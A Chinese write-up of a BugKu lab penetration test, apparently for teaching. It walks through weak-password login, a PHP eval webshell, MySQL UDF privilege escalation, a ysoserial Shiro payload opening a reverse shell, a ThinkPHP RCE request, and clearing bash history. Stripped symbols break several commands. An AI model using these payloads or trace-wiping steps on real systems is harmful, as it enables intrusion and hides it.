BugKu渗透测试实战:从弱口令到内网漫游的全过程记录

张开发
2026/4/15 0:27:52 15 分钟阅读

分享文章

BugKu渗透测试实战:从弱口令到内网漫游的全过程记录
BugKu渗透测试实战从弱口令到内网漫游的完整技术拆解在网络安全领域渗透测试是检验系统防御能力的有效手段。本文将详细还原一次针对企业官网的渗透测试全过程从最基础的弱口令突破开始逐步深入内网核心区域最终实现全域控制。不同于理论讲解这里每个步骤都附带可复现的技术细节和避坑指南。1. 目标侦察与初步渗透任何渗透测试的第一步都是信息收集。面对仅提供官网链接的测试目标我们首先使用浏览器开发者工具查看页面源码。在footer标签内意外发现了开发注释。这种信息泄露在真实环境中并不罕见开发人员常会无意间留下测试凭据。接下来尝试经典弱口令组合admin/adminadmin/passwordadmin/123456其中admin/admin组合成功登录后台管理系统。后台界面显示这是一个基于PHP开发的代码教程平台在系统设置模块发现了被硬编码的API密钥API_SECRET_KEY7x!A%D*G-KaPdSgV关键发现平台提供在线代码测试功能允许用户输入PHP代码并实时执行。这为后续突破提供了重要入口。2. 代码执行与WebShell植入利用代码执行功能我们首先测试基础命令?php system(whoami); ?返回结果显示当前用户为www-data确认存在命令注入漏洞。通过分析请求数据包发现用户提交的代码会被保存到/var/www/html/tmp/目录下文件名格式为[timestamp]_[hash].php。使用Burp Suite拦截请求后修改上传内容POST /execute.php HTTP/1.1 [...] code?php eval($_GET[cmd]); ?成功获取WebShell后使用以下命令探测服务器环境ls -la /var/www/html find / -name flag* 2/dev/null在/var/www/html/flag.txt中找到第一个flag内容提示数据库中有更多秘密。3. 数据库提权与横向移动通过WebShell发现数据库配置信息// config.php $db_host localhost; $db_user root; $db_pass mysql123; $db_name bugku;使用mysql客户端连接后执行SELECT version; -- 返回5.7.29-0ubuntu0.18.04.1确认存在UDF提权可能。从sqlmap的/usr/share/sqlmap/data/udf/mysql目录提取预编译的so文件cp /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so .通过WebShell上传文件后执行提权操作CREATE FUNCTION sys_exec RETURNS int SONAME lib_mysqludf_sys.so; SELECT sys_exec(chmod s /bin/bash);成功获取root权限后使用fscan进行内网扫描./fscan -h 192.168.0.0/24扫描结果摘要IP地址开放端口服务版本漏洞可能性192.168.0.18080Shiro 1.2.4反序列化漏洞192.168.0.480ThinkPHP 5.0.23RCE192.168.0.1022OpenSSH 7.6p1弱口令可能性高4. 内网漏洞利用与权限维持针对Shiro服务使用ysoserial生成payloadjava -jar ysoserial.jar CommonsBeanutils1 bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xOTIuMTY4LjAuMi80NDQgMD4mMQ}|{base64,-d}|{bash,-i} payload.ser通过Cookie RememberMe字段发送序列化数据成功获取192.168.0.1的shell。在/home/user/目录发现第二个flag。对于ThinkPHP服务器直接使用公开expGET /index.php?sindex/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]whoami HTTP/1.1获取shell后在网站根目录找到第三个flag。通过内网代理转发我们最终访问到数据库服务器完成整个内网漫游过程。5. 痕迹清理与防御建议完成测试后需要特别注意清理操作痕迹# 清除命令历史 echo ~/.bash_history history -c # 删除临时文件 rm -f /tmp/lib_mysqludf_sys.so针对本次渗透暴露的安全问题企业应当采取以下防护措施密码策略强制使用复杂密码并启用多因素认证代码审计过滤所有用户输入禁用危险函数如eval()权限控制遵循最小权限原则数据库不应使用root账户网络隔离重要内网服务应设置更严格的访问控制整个渗透过程耗时约6小时共发现高危漏洞4处获取flag 3个。这种从外网到内网的完整突破路径清晰地展示了安全防线中最薄弱的环节往往不是技术漏洞而是人的疏忽。

更多文章